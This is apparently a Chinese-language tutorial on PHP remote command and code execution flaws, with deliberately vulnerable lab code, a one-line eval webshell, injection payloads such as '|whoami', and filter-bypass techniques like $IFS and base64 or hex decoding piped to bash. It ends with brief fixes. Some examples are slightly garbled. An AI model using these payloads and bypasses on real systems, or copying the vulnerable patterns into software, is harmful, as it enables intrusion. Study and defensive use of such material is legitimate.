RCE命令执行&代码执行漏洞
RCE命令执行漏洞
RCE漏洞简介
RCE(remote code/command execute) 远程代码/命令执行漏洞
RCE漏洞是两个漏洞:
- 代码执行漏洞 # 针对后端语言!
- 命令执行漏洞 # 针对系统!
如何产生
在 Web应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,从而随意执行系统命令,这就是命令执行漏洞,它属于高危漏洞之一。
在操作系统中,“&、|、||”等都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,从而造成漏洞。
漏洞挖掘
黑盒测试:测试网站特殊功能点,比如ping等(推荐)
白盒测试:通过代码审计,审计应用中存在的危险函数是否进行了严格过滤
常见函数
# 函数汇总
PHP中命令执行函数:system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()
passthru()
把字符串当做系统命令运行
<?php passthru('whoami');?>
system()
把字符串当做系统命令运行
<?php system('whoami');?>
exec()
把字符串当做系统命令运行
<?php echo exec('whoami');?>
Windows下的命令执行漏洞利用
命令连接符
常用命令
cmd1 & cmd2 //命令前面的语句为假,则直接执行后面的;前面的语句为真,命令都执行
cmd1 && cmd2 //前面的语句为假,则直接出错,后面的也不执行;前面为真,都执行
cmd1 | cmd2 //前面命令正确,直接执行后面的语句;前面的语句为假,则直接出错,后面的也不执行
cmd1 || cmd2 //前面出错,执行后面的;前面为真,只执行前面的
讲解
靶场
Windows命令执行漏洞,顾名思义,就是在Windows环境下存在的命令执行漏洞,通过相关的漏洞验证方法确认了存在命令执行漏洞后,我们可以使用Windows环境下的一些命令去对漏洞进行利用。
http://127.0.0.1/rce/win_cmd_ip.php?ip=localhost<?php
echo '<pre>';
$ip = $_GET['ip'];
system("ping ".$ip);
?>
代码中调用了system函数执行ping命令,正常输入?ip=localhost,会返回ping localhost的结果:
$ip是可控参数,可以通过Windows下的命令连接符执行多条命令,达到攻击的目的。输入?ip=localhost|whoami成功执行,返回当前用户的信息,如下图所示。当然也可以执行net user等其他关于用户账户管理的敏感操作。
Linux下的命令执行漏洞利用
命令连接符
常用命令
cmd1 ; cmd2 //使多个命令顺序执行,前面命令和后面命令的都会执行。
cmd1 & cmd2 //命令前面的语句为假,则直接执行后面的;前面的语句为真,命令都执行
cmd1 && cmd2 //前面的语句为假,则直接出错,后面的也不执行;前面为真,都执行
cmd1 | cmd2 //将第一个命令的输出作为第二个命令的输入,前面跟后面的都会执行,不论报错都显示后面的执行结果
cmd1 || cmd2 //前面的命令执行成功后面的命令不会执行,前面的命令执行失败后面的命令会执行
讲解
靶场
命令执行绕过(以服务器为Linux为例)
1、空格过滤
①针对web传参【%09、%20】
①针对经过web传送的参数,将空格替换成%09 (tab键)
、%20(空格)
等url编码。
②针对数据包【IFS1-9、<>、${IFS}】
②针对数据包,将空格替换成 $IFS$1-9
,shell脚本中的编码。
➢ ip$IFS$9addr
➢ cat$IFS$9hello.txt
③针对数据包,cat命令可以将中间的空格换成<>
或者${IFS}
➢ cat< ;>hello.txt
➢ cat${IFS}hello.txt
2、关键字过滤(编码绕过)
①base64编码
Ⅰ原理解释(linux base64系统自带)
➢ echo "abcd" | base64(命令行进行base64加密)
➢ echo "YWJjzAo=" | base64 -d(命令行对base64解密)
Ⅱ实现输入的命令中没有ls但执行ls的功能
➢ echo "ls" | base64
➢ echo "bHMK" | base64 -d | bash
➢ echo "bHMK" | base64 -d | sh(将命令经过base64解码后的命令ls进行执行)
Ⅲ实现输入的命令中没有cat但执行cat的功能(下面的ls要换成cat)
②hex编码(需要有装xxd命令)
-r 解码
-p 省略0x
➢ echo "abcd" | xxd(命令行进行hex编码)
➢ echo "616263640a" | xxd -r -p(命令行进行hex解码)
➢ echo "ls" | xxd
➢ echo "6c730a" xxd -r -p | bash(执行ls命令)
➢ echo "6c730a" xxd -r -p | sh(执行ls命令)
如果目标服务器没有xxd命令,可以考虑下列语句:
$(printf "\x63\x61\x74\x20\x66\x6c\x61\x67")
{printf,"\x63\x61\x74\x20\x66\x6c\x61\x67"}|sh
3、偶读拼接(过滤某个单词)
原理:利用变量将最后的字符拼接起来
当前目录有个hello.txt 的文件,可以使用”a=hel;b=lo;cat $a$b.txt
“进行读取。
同理执行—条命令可以使用a=l;b=s;$a$b
进行执行。
4、%0a绕过
%0a代表换行,通过%0a注入一条新的命令
有些函数只会识别和处理第一行的相关字符,使用%0a将数据换行,可以绕过一些函数执行命令。%0a表示换行,通过%0a能够注入—条新的命令进行执行。
5、花括号{}
linux中,可以使用执行系统命令,同时可以使用逗号代替空格。
针对数据包,{ip,addr} , {cat,hello.txt},{ls,},如果是单命令也需要加上一个逗号。
6、内联执行
``反引号里面的系统命令会限制令,成功执行后会将结果传递给调用它的命令。`
➢ echo "a 'pwd
" //先执行pwd命令,后将结果拼接回echo命令。
7、引号执行(绕过)
cat fl''ag
cat fl''a""g
➢ cat he""Il"o.txt
//命令正常执行
8、通配符执行
shell命令中?和*可以用来(在当前路径下)匹配任意字符:
?代表一个未知字符
*代表n个未知字符
➢ cat hel*
//查看当前目录下所有以he开头的文件
➢ cat hello.???
//利用?匹配txt
?匹配任意—个字符。
*匹配多个字符。
与正则表达式的区别,正则中,?匹配前面的字符或表达式一次或零次,*匹配前面的字符或表达式多次或零次。
下图是缺少一个问号-->报错
9、反斜杠执行(转义)
➢ c/at hello.txt
//命令正常执行
10、方括号
➢ cat hel[l]o.txt
//命令正常执行,但是不可加到命令关键字里面。
➢ ca[t] hel[l]o.txt
//报错
命令执行漏洞修复
一、PHP配置文件禁用敏感函数
通过php配置文件中的disable_functions禁用敏感函数。
二、使用相关过滤函数处理相关参数
1、escapeshellarg函数
escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数,过滤命令中的参数。
2、escapeshellarg函数
escapeshellcmd — shell 元字符转义,过滤命令。
RCE代码执行漏洞
RCE漏洞介绍
有的应用程序中提供了一些可以将字符串作为代码执行的函数,例如PHP中的eval函数,可以将该函数中的参数当作PHP代码来执行。如果对这些函数的参数控制不严格,就可能会被攻击者利用,执行恶意代码。
常见函数
# 函数汇总
PHP中代码执行函数:eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、 call_user_func_array()、array_filter()、uasort()
eval()函数
eval函数把字符串作为PHP代码执行。一般用于写入一句话木马。如:
<?php @eval($_POST['pwd']);?>HackBar:
http://127.0.0.1/rce/test.php
pwd = echo "Hello World!";
pwd = phpinfo();
assert函数
assert函数检查一个断言是否为FALSE。
assert函数会检查指定的assertion并在结果为FALSE时采取适当的行动。如果assertion是字符串,它会被assert函数当作PHP代码来执行。如:
<?php @assert($_POST[1])?>HackBar:
1 = phpinfo();
preg_replace函数
preg_replace函数执行一个正则表达式的搜索和替换。
preg_replace函数搜索subject中匹配pattern的部分,以replacement进行替换。
preg_replace函数示例代码如下:
<?php
$subject='hello hack';
$pattern='/hack/';
$replacement=$_GET["name"];
echo preg_replace($pattern,$replacement,$subject);
?>GET:
?name = xxx
PHP可变函数
<?php
function foo(){
echo "foo";
}
function bar($arg='')(
echo "bar";
}
function echoit($string)
echo $string;
}
$func=$_REQUEST['func'];
$string=$_REQUEST['string'];
echo $func($string);
?>http://localhost:63342/WWW/rce/php可变函数.php?func=echoit&string=test
http://localhost:63342/WWW/rce/php可变函数.php?func=system&string=whoami